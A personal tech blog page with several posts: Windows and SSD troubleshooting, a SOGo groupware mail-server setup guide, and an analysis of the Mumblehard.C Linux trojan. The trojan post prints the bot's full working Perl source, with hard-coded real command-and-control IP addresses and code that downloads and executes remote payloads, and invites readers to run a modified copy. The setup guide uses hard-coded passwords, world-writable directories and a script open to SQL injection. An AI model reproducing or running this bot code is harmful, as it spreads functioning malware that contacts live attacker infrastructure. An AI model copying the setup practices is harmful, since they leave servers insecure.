c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.

By dose | May 16, 2017
Under: Uncategorized
Comments: No Comments »

Yesterday I had a case where a Windows 7 machine halted with

c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.
0x00000000 (0xC0000001, 0x00010400)

This means that the login processes died for some reason. After trying last good configuration, repair mode etc. and nothing seemed to help, I started up with the Windows 7 BootCD and checked the registry by running regedit from the command prompt and loading the SYSTEM, SOFTWARE etc. hives from Windows\system32\config directory into regedit.
I noticed that the SOFTWARE hive was nearly empty except for some Microsoft keys.
Another blogger had exactly the same problem:

Vista: Stop: c000021a {Fatal System Error}, The initial session process or system process terminated unexpectedly.


So I first tried to run Microsoft chkreg utility over a copy of the SOFTWARE hive, but it was unable to find corruption and fix it. An expanded chkreg.exe utility that can be used on the Windows command shell directly can be found here.

As this didn’t succeed, I tried to copy back the SOFTWARE file from Windows\system32\config\RegBack.
I wasn’t expecting it to work, as I thought that the Last known good configuration feature from the start menu would do the same, but it seems that this isn’t the case, so copying it back helped and the computer was ablt to boot up again.

Next step was to find out what has happened. I compared the broken and the good SOFTWARE file with each other and I noticed that they were nearly identical except for one page where its contents were empty in the broken registry file and were filled in the working backup file. I checked the Harddisks’ SMART values and found out that the HDD had 25 Reallocated Sectors. I suspect that there was a Relocation process going on on last shutdown that resulted in a blank sector to be written right in the middle of the Reigstry file which caused the corruption. Time to immediately change the HDD before it completely breaks down.

Mumblehard.C trojan unpacked

By dose | March 30, 2017
Under: Uncategorized
Comments: No Comments »

Recently a server got infected with the Mumblehard.C trojan due to an unmaintained WordPress installation.
The trojan seems to have been installed to /var/tmp directory on the server and run via cron every 10 minutes to check for new comamdns of its Command&Control servers. The trojan is mainly used for spamming activity.

The executable itself is a simple C program, that unpacks an XORed perl-script that then gets executed in memory (overwriting its process name with “qmail”).
It seems that the Command&Control servers of the trojan are still active and haven’t changed in a few months, as there is an analysis of the malware sample available from December 2016 which still contacted the same IP-adresses:

https://detux.org/report.php?sha256=a4199f2a1539f0e9b5d18b81873ad65f332046b2a1c4f7e44b039fd93e369c87

It is interesting that these hosts haven’t been shutdown since then by the ISPs.
If you are interested, here is the momblehard.C PERL script as extracted from the malicious executable. You can modify the system() command and play botnet client yourself to monitor it ūüėČ

use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0="qmail";
$|=1;
my $ewblock = 11;
my $eiprogr = 150;
if ($^O eq "linux") {
    $ewblock = 11;
    $eiprogr = 115;
}
if ($^O eq "freebsd") {
    $ewblock = 35;
    $eiprogr = 36;
}
&main();
sub main {
    exit 0 unless defined(my $pid = fork);
    exit 0 if $pid;
    POSIX::setsid();
    $SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD));
    umask 0;
    chdir "/";
    open(STDIN, "</dev/null");
    open(STDOUT, ">/dev/null");
    open(STDERR, ">&STDOUT");
    my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"];
    my $tst = ["a".."z", "A".."Z"];
    $tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]);
    my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; }
    my($header, $content);
    my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10);
    foreach my $rs(@$url) {
        $header = "$dir/".time;
        $content = $header."1";
        unlink $header if -f $header;
        unlink $content if -f $content; 
        &http($rs, $timeout, $header, $content, 0);
        if (open(F, "<", $header)) {
            flock F, 1;
            my($test, $task) = (0, "");
            while (<F>) {
                s/^\s*([^\s]?.*)$/$1/;
                s/^(.*[^\s])\s*$/$1/;
                next unless length $_;
                $test++
                if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close";
                $task = $1
                if /^Set-Cookie: PHPSESSID=([^;]+)/;
            }
            close F;
            ($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task;
        }
        unlink $header if -f $header;
        unlink $content if -f $content;
    }
 
    exit 0 if !defined $command || $command!~/^16$/;
    $header = "$dir/".time;
    $content = "$dir/$file";
    unlink $header
    if -f $header;
    unlink $content
    if -f $content; &http($link, $timeout, $header, $content, 1);
    my($resp, $size) = ("000", 0);
    if (open(F, "<", $header)) {
        flock F, 1;
        while (<F>) {
            s/^\s*([^\s]?.*)$/$1/;
            s/^(.*[^\s])\s*$/$1/;
            next unless length $_;
            $resp = $1 if /^HTTP\S+\s+(\d\d\d)/;
        }
        close F;
    }
    $size = (stat $content)[7] if -f $content;
    $size = 0 if !defined $size || $size!~/^\d+$/;
    if ($size > 0) {
        chmod 0755, $content;
        system "$content >/dev/null 2>&1"; 
    }
    unlink $header if -f $header;
    unlink $content if -f $content;
    foreach my $rs(@$url) {
        $header = "/dev/null";
        $content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size");
    }
    exit 0;
}
 
sub xorl {
    my($line, $code, $xor, $lim) = (shift, "", 1, 16);
    foreach my $chr(split(//, $line)) {
      if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; }
      $code. = pack("C", unpack("C", $chr) ^ $xor); $xor++;
    }
    return $code;
}
sub decd {
    my $data = pack("H*", shift);@
    _ = unpack("C5", substr($data, 0, 5, ""));
    return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_);
}
sub http {
    my($url, $timeout, $header, $content, $mode, $gecko) = @_;
    $gecko = "20100101"
    if !defined $gecko || !length $gecko;
    my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/;
    return unless $host;
    my $addr;
    if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) {
        $addr = pack("C4", $1, $2, $3, $4);
    } else {
        $addr = gethostbyname $host;
    }
    return unless $addr;
    $port || = 80;
    $path || = "/";
    $addr = sockaddr_in($port, $addr);
    my $readers = IO::Select->new() or return;
    my $writers = IO::Select->new() or return;
    my $buffer = join("\x0D\x0A",
        "GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9",
        "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A");
    if ($mode) {
        $buffer = join("\x0D\x0A",
            "GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A");
    }
    my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM);
    return unless $socket;
    $socket->blocking(0);
    unless($socket->connect($addr)) {
        if ($! != $eiprogr && $! != $ewblock) {
            close $socket;
            return;
        }
    }
    $writers->add($socket);
    $timeout+=time;
    my $step = 0;
    while (1) {
        IO::Select->select(undef, undef, undef, 0.02);
        my $writable = (IO::Select->select(undef, $writers, undef, 0))[1];
        foreach my $handle(@$writable) {
            if ($step == 0) {
                $step = 1
                if $handle->connected;
            }
            if ($step == 1) {
                my $result = syswrite($handle, $buffer);
                if (defined $result && $result > 0) {
                    substr($buffer, 0, $result) = "";
                    if (!length $buffer) {
                        $readers->add($handle);
                        $writers->remove($handle);
                        $step = 2;
                    }
                }
                elsif($! == $ewblock) {
                    next;
                } else {
                    $timeout = 0;
                }
            }
       }
       my $readable = (IO::Select->select($readers, undef, undef, 0))[0];
       foreach my $handle(@$readable) {
            next if $step < 2;
            my $result;
            if ($step == 2) {
                $result = sysread($handle, $buffer, 8192, length $buffer);
            } else {
                $result = sysread($handle, $buffer, 8192);
            }
            if (16384 < length $buffer) {
                $timeout = 0;
            }
            elsif(defined $result) {
                if ($result > 0) {
                    if ($step == 2) {
                        my $offset = index($buffer, "\x0D\x0A\x0D\x0A");
                        next if $offset < 0;
                        if (open(F, ">>", $header)) {
                            flock F, 2;
                            binmode F;
                            print F substr($buffer, 0, $offset);
                            close F;
                        }
                        substr($buffer, 0, $offset + 4) = "";
                        $step = 3;
                    }
                    if ($step == 3) {
                        if (length $buffer) {
                            if (open(F, ">>", $content)) {
                                flock F, 2;
                                binmode F;
                                print F $buffer;
                                close F;
                            }
                            $buffer = "";
                        }
                    }
                    next;
                }
                $timeout = 0;
            }
            elsif($! == $ewblock) {
                next;
            } else {
                $timeout = 0;
            }
        }
        if ($timeout < time) {
            foreach my $handle($writers->handles, $readers->handles) {
                $writers-> remove($handle) if $writers->exists($handle);
                $readers-> remove($handle) if $readers->exists($handle);
                close $handle;
            }
            return;
        }
    }
}

Installation of a SOGo Debian Server for Groupware use

By dose | December 18, 2016
Under: Uncategorized
Comments: 3 Comments »

Motivation

Since the release of Microsoft Outlook 2016, it is possible to connect clients via the ActiveSync protocol, mostly known for its use on mobile devices to synchronize Calender, contacts and e-mail. So the complicated MAPI protocol (i.e. offered by OpenChange project) isn’t necessarily needed anymore.
So my goal was to set up a Linux server that offers ActiveSync protocol interfaces as well as the “classic” IMAP, Caldav and Carddav interfaces for integration with e-mail clients such as Thunderbird. For this SOGo seems to be a very good solution, because it offers you to use the standard Unix daemons in your desired configuration and is just a component that you can easily plug in to offer access to all components with above mentioned protocols which makes the server very easy to maintain without the need to use new, unfamiliar interfaces to manage it like partly with other groupware servers.

So I describe some simple setup for SOGo 2 (because I like its webinterface) on a Debian Jessie Server for handling mail on one domain in the combination Dovecot IMAP server and Postfix MTA. It is a mix of stuff taken from several tutorials available on the Internet.

Installation

1) Install SOGo 2

echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list
apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4
apt-get update
apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached

2) Fix some packages

sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings
sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors
/etc/init.d/mysql restart 
/etc/init.d/memcached restart

3) Install MySQL and create user table

Unforutnately, SOGo doesn’t support PAM authentication for whatever reason. The most common solution in the tutorials is to use a LDAP server, which is of course also possible, but for me, it is harder to maintain due to my lack of LDAP-Skills. Therefore I decided to maintain a MySQL user database which will also be used by Dovecot for authentication and which I can add new shell users to with a simple shell script presented lateron. I prefer to have my mailbox users in /etc/passwd with a disabled login shell so that they automatically have a systemwide account, get their e-mails stored and delivered to their home-directories. That’s why I chose this method:

mysql -u root -p mysql
    CREATE DATABASE `sogo` CHARACTER SET='utf8';
    CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd';
    GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    USE sogo;
    CREATE TABLE sogo_users (c_uid VARCHAR(60) PRIMARY KEY, c_name VARCHAR(60), 
c_password VARCHAR(32), c_cn VARCHAR(128), mail VARCHAR(128), 
home VARCHAR(255) NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL);
    FLUSH PRIVILEGES;
    quit

4) Install and configure dovecot IMAP-Server

apt-get install dovecot dovecot-sieve dovecot-lmtpd dovecot-managesieved dovecot-sql dovecot-mysql

You can also install dovecot-pop3d if needed.

/etc/dovecot/conf.d/10-auth.conf
#!include auth-system.conf.ext
!include auth-sql.conf.ext
/etc/dovecot/conf.d/10-mail.conf
mail_location = maildir:~/Maildir
/etc/dovecot/conf.d/10-master.conf
service lmtp {
  unix_listener /var/spool/postfix/private/dovecot-lmtp {
    group = postfix
    mode = 0600
    user = postfix
  }
}

service auth {
  unix_listener /var/spool/postfix/private/auth {
    mode = 0666
    user = postfix
    group = postfix
  }
}
/etc/dovecot/conf.d/15-lda.conf
lda_mailbox_autocreate = yes
/etc/dovecot/conf.d/20-lmtp.conf
protocol lmtp {
  postmaster_address = postmaster@domain.com
  mail_plugins = $mail_plugins sieve
}
/etc/dovecot/conf.d/20-managesieve.conf
service managesieve-login {
  inet_listener sieve {
    port = 4190
    address = 127.0.0.1
  }
}
/etc/dovecot/conf.d/auth-sql.conf.ext
passdb {
  driver = sql
  args = /etc/dovecot/dovecot-sql.conf.ext
}

userdb {
  driver = prefetch
}

userdb {
  driver = sql
  args = /etc/dovecot/dovecot-sql.conf.ext
}
/etc/dovecot/dovecot-sql.conf.ext
driver = mysql
connect = host=localhost dbname=sogo user=sogo password=sogopasswd
default_pass_scheme = MD5
user_query = \
  SELECT home, uid, gid \
  FROM sogo_users WHERE c_uid = '%n'
password_query = \
  SELECT c_uid AS user, c_password AS password, \
    home AS userdb_home, uid AS userdb_uid, gid AS userdb_gid \
  FROM sogo_users WHERE c_uid = '%u'

4) Install the Postfix MTA

I assume that you have 2 DNS set up pointing to your mailserver: mail.domain.com and imap.domain.com, this also facilitates automatic mail server detection in most Mail applications.

apt-get install postfix postfix-policyd-spf-python
/etc/postfix/main.cf
myhostname = mail.domain.com
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes

home_mailbox = Maildir/
mailbox_transport = lmtp:unix:private/dovecot-lmtp

# Restrictions
policy-spf_time_limit = 3600s
smtpd_helo_required = yes
smtpd_recipient_restrictions = permit_mynetworks,
    permit_sasl_authenticated,
    reject_unauth_destination,
    reject_unauth_pipelining,
    reject_non_fqdn_recipient,
    check_policy_service unix:private/policy-spf

smtpd_sender_restrictions = permit_mynetworks,
    permit_sasl_authenticated,
    reject_unknown_hostname,
    reject_unknown_recipient_domain,
    reject_unknown_sender_domain

smtpd_client_restrictions = permit_mynetworks,
    permit_sasl_authenticated
/etc/postfix/master.cf
# SPF
policy-spf  unix  -       n       n       -       -       spawn
     user=nobody argv=/usr/bin/policyd-spf

5) Install Apache 2 webserver

apt-get install apache2 sogo-activesync
a2enmod proxy
a2enmod proxy_http
a2enmod headers
a2enmod rewrite
a2enconf SOGo

6) configure Microsoft ActiveSync

Please read here carefully for related documentation.

apt-get install sogo-activesync

Uncomment and modify:

/etc/apache2/conf-available/SOGo.conf
ProxyPass /Microsoft-Server-ActiveSync \
	http://127.0.0.1:20000/SOGo/Microsoft-Server-ActiveSync \
	retry=60 connectiontimeout=60 timeout=660

7) Install Let’s encrypt SSL-certificates for your site

As self-signed certificates are always needed to be added to a trust list on the client side which makes setup for the user harder and we now have the possibility to get free SSL-certificates by the Let’s encrypt project, it is a good idea to use them instead. The downside of this may be the expiration time (3 months), but as renewal process can be automated with a cron-job, it’s not such a big issue.

/etc/apache2/sites-available/000-default.conf
ServerAlias mail.domain.com
ServerAlias imap.domain.com
echo "deb http://ftp.debian.org/debian jessie-backports main" >>/etc/apt/sources.list
apt-get update
apt-get install python-certbot-apache -t jessie-backports
letsencrypt --apache -d mail.domain.com -d imap.domain.com

Change TLS parameters in Postfix:

/etc/postfix/main.cf
smtpd_tls_cert_file=/etc/letsencrypt/live/mail.domain.com/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/mail.domain.com/privkey.pem

 

/etc/dovecot/conf.d/10-ssl.conf
ssl = yes
ssl_cert = imap.domain.com/fullchain.pem
ssl_key  = imap.domain.com/privkey.pem

Now we need to create a renewal-Cronjob for the requested certificates:

/etc/cron.weekly/letsencrypt
#!/bin/sh
letsencrypt renew
result=$(find /etc/letsencrypt/live/ -type l -mtime -1 )
if [ -n "$result" ]; then
  /etc/init.d/apache2 restart
  /etc/init.d/postfix restart
  /etc/init.d/dovecot restart
fi
chmod a+x /etc/cron.weekly/letsencrypt

8) Install DKIM

If you want to increase your e-mail reputation, it is a good idea to set up SPF and DKIM records. For DKIM, you can use opendkim daemon. This step is optional and requires full access to your DNS server.
This was shameslessly copied from here

apt-get install opendkim opendkim-tools
mkdir /etc/opendkim
mkdir /etc/opendkim/keys
mkdir /var/spool/postfix/var/run/opendkim
/etc/opendkim.conf
# OpenDKIM agiert als Mail Filter (= Milter) in den
# Modi signer (s) und verifier (v) und verwendet eine
# Socket-Datei zur Kommunikation (alternativ: lokaler Port)
Mode                    sv
# Socket                  local:/var/run/opendkim/opendkim.sock
# Socket                inet:12345@localhost
Socket                  local:/var/spool/postfix/var/run/opendkim/opendkim.sock

# OpenDKIM verwendet diesen Benutzer bzw.
# diese Gruppe
UserID                  postfix:postfix
UMask                   002
PidFile                 /var/run/opendkim/opendkim.pid

# OpenDKIM bei Problemen neustarten,
# aber max. 10 mal pro Stunde
AutoRestart             yes
AutoRestartRate         10/1h

# Logging (wenn alles funktioniert eventuell reduzieren)
Syslog                  yes
SyslogSuccess           yes
LogWhy                  yes

# Verfahren, wie Header und Body durch
# OpenDKIM verarbeitet werden sollen.
Canonicalization        relaxed/simple

# interne Mails nicht mit OpenDKIM verarbeiten
ExternalIgnoreList      refile:/etc/opendkim/trusted
InternalHosts           refile:/etc/opendkim/trusted

# welche Verschl√ľsselungs-Keys sollen f√ľr welche
# Domains verwendet werden
# (refile: f√ľr Dateien mit regul√§ren Ausdr√ľcke)
SigningTable            refile:/etc/opendkim/signing.table
KeyTable                /etc/opendkim/key.table

# diesen Signatur-Algorithmus verwenden
SignatureAlgorithm      rsa-sha256

# Always oversign From (sign using actual From and a null From to prevent
# malicious signatures header fields (From and/or others) between the signer
# and the verifier.  From is oversigned by default in the Debian pacakge
# because it is often the identity key used by reputation systems and thus
# somewhat security sensitive.
OversignHeaders         From
/etc/opendkim/trusted
127.0.0.1
::1
localhost
hostname
domain.com
/etc/opendkim/signing.table
# for E-Mails from xxx@domain.com use the key 'domain' for signing
*@domain.com domain
/etc/opendkim/key.table
# The key 'domain' is located in /etc/opendkim/keys/domain.private
domain domain.com:201611:/etc/opendkim/keys/domain.private
cd /etc/opendkim
opendkim-genkey -d domain.com -b 2048 -r -s 201611
mv 201611.private keys/domain.private
mv 201611.txt     keys/domain.txt
chown -R postfix:postfix /etc/opendkim
chmod -R go-rwx /etc/opendkim/keys
/etc/postfix/main.cf
milter_protocol = 6
milter_default_action = accept
smtpd_milters = unix:/var/run/opendkim/opendkim.sock
non_smtpd_milters = unix:/var/run/opendkim/opendkim.sock

Then add the record from /etc/opendkim/keys/domain.txt to your DNS server.

9) Deploy some antivirus and antispam scripts for the MTA

It is a good idea to have some virus filtering and antispam on a Mailserver obiously. Now there are a lot of filtering solutions out there which can accomplish this, but I prefer not to rely on another piece of big software, so I just use a simple shellscript to do some simple mail filtering according to my needs. I’m using Clamav as an antivirus-filter, spamassassin as a spam-filter and some custom .zip file parsing using munpack which certainly can be improved.

apt-get install clamdscan spamassassin clamav-daemon mpack zip
mkdir /var/spool/spam
chmod 777 /var/spool/spam
mkdir /var/spool/virus
chmod 777 /var/spool/virus
/etc/spamassassin/local.cf
rewrite_header Subject *****SPAM*****
report_contact your_email@address.com
/etc/default/spamassassin
ENABLED=1
/etc/init.d/spamassassin start
mkdir /var/lib/dovecot/sieve
chmod 777 /var/lib/dovecot/sieve/

Now we want to move spam into the Junk folder automatically on the server side:

/var/lib/dovecot/sieve/global.sieve
require "fileinto";
if header :contains "X-Spam-Flag" "YES" {
    fileinto "Junk";
}
/etc/dovecot/conf.d/90-sieve.conf
plugin {
  sieve_before=/var/lib/dovecot/sieve/global.sieve
}

Now create the mail-scanner script that can be modified according to your needs:

/etc/postfix/mail-scanner.sh
#!/bin/sh

EX_OK=0
EX_BOUNCE=69
EX_DEFER=75

SENDMAIL="/usr/sbin/sendmail -G -i"

# prepare for scanning
INPUT=`mktemp /tmp/mail-scanner.XXXXXXXX`
OUTPUT=`mktemp /tmp/mail-scanner.XXXXXXXX`
if [ "$?" != 0 ]; then
    logger -s -p mail.warning -t scanner "Unable to create temporary files, deferring"
    exit $EX_DEFER
fi
trap "rm -f $INPUT $OUTPUT" EXIT TERM
cat >$INPUT

# check for viruses
/usr/bin/clamdscan --quiet - <$INPUT
return="$?"
if [ "$return" = 1 ]; then
    TARGET=/var/spool/virus/`basename $INPUT`
    logger -p mail.info "ClamAV found virus, quarantined as $TARGET"
    cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; };
    exit $EX_OK
elif [ "$return" != 0 ]; then
    logger -s -p mail.warning -t scanner "Temporary ClamAV failure $return, deferring"
    exit $EX_DEFER
fi

# check for undesired file extensions
MTMPDIR=`mktemp -d /tmp/mailattXXXXXXX`
BADEXT='[.](bat|cmd|com|cpl|exe|pif|msi|vb|vbs|js|jse|wsf)$'
munpack -C $MTMPDIR -q <$INPUT >/dev/null 2>&1
for i in $( ls $MTMPDIR | egrep -i '[.]zip' )
do
if [ $( unzip -l "${MTMPDIR}/${i}" | tail -n +4 |head -n -2 | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then
    HASBADEXT=1
    break
fi
done
if [ $( ls $MTMPDIR | egrep -i "${BADEXT}" | wc -l ) -gt 0 ]; then
    HASBADEXT=1
fi

rm -r $MTMPDIR
if [ "$HASBADEXT" = 1 ]; then
    TARGET=/var/spool/virus/`basename $INPUT`
    logger -p mail.info "Found potential virus with suspicious extension, quarantined as $TARGET"
    cp $INPUT $TARGET || { echo Cannot copy possible-virus mail; exit $EX_DEFER; };
    exit $EX_OK
fi

# check for spam
/usr/bin/spamc -E <$INPUT >$OUTPUT
return="$?"
if [ "$return" = 1 ]; then
    # Activate this if you want to filter it out instead of just marking und filing into Junk
    #TARGET=/var/spool/spam/`basename $INPUT`
    logger -p mail.info "SpamAssassin found spam"
    #cp $INPUT $TARGET || { echo Cannot copy possible-spam mail; exit $EX_DEFER; };
    #exit $EX_OK
elif [ "$return" != 0 ]; then
    logger -s -p mail.warning -t scanner "Temporary SpamAssassin failure $return, delivering"
    # 1) deliver original mail
    OUTPUT=$INPUT
    # 2) or defer instead of delivering:
    # exit $EX_DEFER
fi

# deliver
$SENDMAIL "$@" <$OUTPUT
exit $?
chmod 755 /etc/postfix/mail-scanner.sh

Now register mail-scanner with postfix by appending content_filter option to smtpd line and adding the filter definition:

/etc/postfix/master.cf
smtp      inet  n       -       n       -       -       smtpd
  -o content_filter=scanner:dummy

scanner    unix  -       n       n       -       4       pipe
  flags=Rq user=nobody null_sender=
  argv=/etc/postfix/mail-scanner.sh -f ${sender} -- ${recipient}

10) Configure SOGo

/etc/sogo/sogo.conf
  /* Database configuration (mysql:// or postgresql://) */
  SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile";
  OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info";
  OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder";
  /* Mail */
  SOGoIMAPServer = localhost;
  SOGoSieveServer = sieve://127.0.0.1:4190;
  SOGoSMTPServer = 127.0.0.1;
  SOGoMailDomain = domain.com;
  SOGoMailingMechanism = smtp;
  /* Notifications */
  SOGoAppointmentSendEMailNotifications = YES;
  SOGoACLsSendEMailNotifications = NO;
  SOGoFoldersSendEMailNotifications = NO;

  /* Authentication */
  SOGoPasswordChangeEnabled = YES;

  /* SQL authentication example */
  /*  These database columns MUST be present in the view/table:
   *    c_uid - will be used for authentication -  it's the username or username@domain.tld)
   *    c_name - which can be identical to c_uid -  will be used to uniquely identify entries
   *    c_password - password of the user, plain-text, md5 or sha encoded for now
   *    c_cn - the user's common name - such as "John Doe"
   *    mail - the user's mail address
   *  See the installation guide for more details
   */
  SOGoUserSources = (
      {
        type = sql;
        id = users;
        viewURL = "mysql://sogo:sogopasswd@127.0.0.1:3306/sogo/sogo_users";
        canAuthenticate = YES;
        isAddressBook = YES;
        displayName = "Benutzer";
        userPasswordAlgorithm = md5;
      }
    );
  /* Web Interface */
  SOGoVacationEnabled = YES;
  SOGoSieveScriptsEnabled = YES;
  SOGoMailAuxiliaryUserAccountsEnabled = YES;

  /* General */
  SOGoLanguage = German;
  SOGoTimeZone = Europe/Vienna;
  SOGoSuperUsernames = (youradminacct);

  /* Activesync */
  SOGoMaximumPingInterval = 300;

If you read the ACtiveSync tuning link, you know that you need to maybe increase the number of active instances for handling requests according to the number of your users by setting PREFORK= value in /etc/default/sogo

Now finally you need to add your admin user you also specified above in SOGoSuperUsernames with SOGo. For every new user, you can add the user like a normal shell user with

adduser [username]

and maybe disable login shell in /etc/passwd. Then use the following script to register your new user with the MySQL DB (reenter user’s password when prompted):

cr_user.sh
#!/bin/bash
if [ -z $1 ]; then
  echo $0 \[Username\]
  exit
fi

ID=$1
C_UID=`id -u $ID`
if [ $? -ne 0 ]; then
  echo User $ID does not exist
  exit
fi
C_GID=`id -g $ID`
C_CN=`getent passwd $ID  | cut -d ':' -f 5 | cut -d"," -f1`
C_MAIL=$ID@`cat /etc/mailname`
C_HOME=`eval echo ~$ID`
read -sp "Password: " C_PASSWORD
echo "INSERT INTO sogo_users(c_uid,c_name,c_cn,c_password,mail,home,uid,gid) VALUES 
('$ID','$ID','$C_CN',MD5('$C_PASSWORD'),'$C_MAIL','$C_HOME',$C_UID,$C_GID) 
ON DUPLICATE KEY UPDATE c_uid='$ID',c_name='$ID',c_cn='$C_CN',c_password=MD5('$C_PASSWORD'),
mail='$C_MAIL',home='$C_HOME',uid=$C_UID,gid=$C_GID;" | mysql -u sogo --password=sogopasswd sogo

Finally you can add SOGo backup script to your daily backups (you need to adjust the file):

cp /usr/share/doc/sogo/sogo-backup.sh /usr/sbin/sogo-backup
vi /usr/sbin/sogo-backup

Finally restart all the stuff

The case of the missing mouse cursor on Windows 10

By dose | October 14, 2016
Under: Uncategorized
Comments: No Comments »

Today I got a machine that was upgraded from Windows 8 to Windows 10.
The user complaine that his CDrom-Drive was not working after the
upgrade. This was eaisly solved by googling around a bit and finally
issuing:

reg.exe add "HKLM\System\CurrentControlSet\Services\atapi\Controller0" /f /v EnumDevice1 /t REG_DWORD /d 0x00000001

Ok, problem solved, but there was another strange problem.
I plugged in a PS/2 mouse device and it didn’t work.. So I plugged
in a USB mouse which worked. Then Windows 10 was doing some updates
like it always does and after reboot my USB mouse was gone too.
No chance to get PS/2 or USB mouse working.
PS/2 mouse driver always showed an exclamation mark telling me
Code 10 – “Das Ger√§t kann nicht gestartet werden” (the device cannot
be started).
When plugging in a USB mouse, no error was shown in the device manager
at all, but still no mousecursor appeared which made it hard to diagnose.
There just was no mouse pointer on the screen at all!
When looking at the Event log of the failed device, it told be
error 0x00000184 (which translates to STATUS_INVALID_DEVICE_STATE).
Now from https://technet.microsoft.com/en-us/library/ff542127?f=255&MSPPError=-2147217396
this oerror occurs if the Mouclass service is not connected.
So it had to me a mouclass issue.
When checking registry HKLM\System\CurrentControlSet\Services\Mouclass
I realized that there was no Enum subkey which normally contains the
attached devices indicating that the mouclass driver was not started.
When trying to start the device driver manually with “net start” command,
this succeeded so my theory about it not being started seemed to be correct. But why? So I checked the places where it is usually referenced
and found out that in

HKLM\CurrentControlSet\Control\Class\{4d36e96f-e325-11ce-bfc1-08002be10318}

(which is the Mouse device), the UpperFilters REG_MULTI_SZ value, which should contain the value

mouclass

was completely missing for some unknown reason! So I created this value,
rebooted and TADAAA, there was the mouse cursor again and mouse was working.
It would be really interesting what ruined this entry and what was causing me all these troubles, but finally it’s solved at least.

Recovering a failing SSD drive which drops off the bus on read error

By dose | August 21, 2016
Under: Uncategorized
Comments: No Comments »

This week I had to take a look at a machine with Windows 10 that randomly locked up during working with a certain application. The computer didn’t freeze, but the foreground application didn’t react. You could click around the desktop, but there also was no more reaction to user input by the operation system so that the onl choice was to press reset.

The system was equipped with a 120GB SSD drive as boot drive and after presseing RESET, the drive wasn’t detected anymore, so the BIOS showed “No boot device found”.
When powercycling the machine, the system was back to normal.

This rose suspicion that the SSD drive may be faulty, which got confirmed by doing a full drive scan with HDTune. It locked up during run and showed a bad sector of the drive. So unfortunately, it seems that the drive locked up when accessing a bad block on the media and never recovered from this fault and didn’t react to ATA Reset-commands.
So the drive had to be replaced, but as it was the system drive and a reinstall of the whole operating system would have been a tedious task (due to the lack of some applications’ installers, etc., blabla..), I tried recovering the disk to a new (bigger) SSD drive.

First try was using some Windows imaging applications like the free Macrium Reflect, but of course they failed due to the fact that the disk locked up during cloning when hitting a bad block.
So ddrescue to the rescue! This application also naturally aborts when the drive locks up, but it has a big advantage: It has the option to write a human-readable logfile to resume operations! So starting the first round was easy, just image until bad block (using -n, as scraping doesn’t work anyway if touching a bad block locks up the device. So scraping has to be done manually here):

ddrescue -n /dev/sdb sdb.dd sdb.log

Now first part of disk was written to image and on bad block, drive locked up, leaving behind a logfile that said: Good until block X, then everything bad. Now shutdown and restart machine to get SSD back working.
As ddrescue logfile format is human readable, it’s also easy to edit. The manual fortunately tells us about the logfile format:

The first non-comment line is the status line. It contains a non-negative integer and a status character. The integer is the position being tried in the input file. (The beginning of the block being tried in a forward pass or the end of the block in a backward pass).

The status character is one of these:

‘?’ ¬†¬† ¬†copying non-tried blocks

Every line in the list of data blocks describes a block of data. It contains 2 non-negative integers and a status character. The first integer is the starting position of the block in the input file, the second integer is the size (in bytes) of the block. The status character is one of these:

‘?’ ¬†¬† ¬†non-tried block
‘*’ ¬†¬† ¬†failed block non-trimmed
‘/’ ¬†¬† ¬†failed block non-scraped
‘-‘ ¬†¬† ¬†failed block bad-sector(s)
‘+’ ¬†¬† ¬†finished block

On second run, we don’t have to do much but copy the logfile to a new file (i.e. sdb2.log) and delete all the lines in the block list that don’t contain a “+” and setting status to “?” and then run in reverse direction with this new file to image from the other end of the disk until we hit a block again that is faulty:

ddrescue -R -n /dev/sdb sdb.dd sdb2.log

